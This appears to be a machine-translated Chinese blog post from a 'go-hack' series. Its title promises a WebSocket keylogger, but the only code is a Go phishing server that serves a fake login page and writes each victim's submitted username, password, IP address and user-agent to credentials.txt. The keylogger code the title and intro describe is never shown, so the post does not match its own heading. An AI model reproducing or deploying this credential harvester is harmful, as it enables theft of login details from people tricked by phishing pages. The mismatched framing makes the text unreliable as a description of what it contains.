关于go:go-hack七websocket建立键盘记录器

go网络安全代码地址
应用websocket实现一个键盘记录器

前端申请k.js 咱们把logger.js 返回给前端，

须要第三方包go get github.com/gorilla/websocket

package mainimport (    "net/http"    "os"    "time"    log "github.com/Sirupsen/logrus"    "github.com/gorilla/mux")// 钓鱼信息记录到日志// go get github.com/Sirupsen/logrus 日志格式化记录第三方包func main() {    fh, err := os.OpenFile("credentials.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)    if err != nil {        panic(err)    }    defer fh.Close()    log.SetOutput(fh) // 设置日志输入的句柄    r := mux.NewRouter()    r.HandleFunc("/login", login).Methods("POST")    r.PathPrefix("/").Handler(http.FileServer(http.Dir("public"))) // 动态文件服务器创立    log.Fatal(http.ListenAndServe(":8080", r))}func login(w http.ResponseWriter, r *http.Request) {    // time="2022-09-11T16:19:14+08:00" level=info msg="login attempt" fields.time="2022-09-11 16:19:14.8598751 +0800 CST m=+551.727495701" ip_address="127.0.0.1:53955" password=sfa user-agent="apifox/1.0.0 (https://www.apifox.cn)" username=sdaf    log.WithFields(log.Fields{        "time":       time.Now().String(),        "username":   r.FormValue("_user"), // 获取post值        "password":   r.FormValue("_pass"),        "user-agent": r.UserAgent(),        "ip_address": r.RemoteAddr,    }).Info("login attempt")    http.Redirect(w, r, "/", 302)}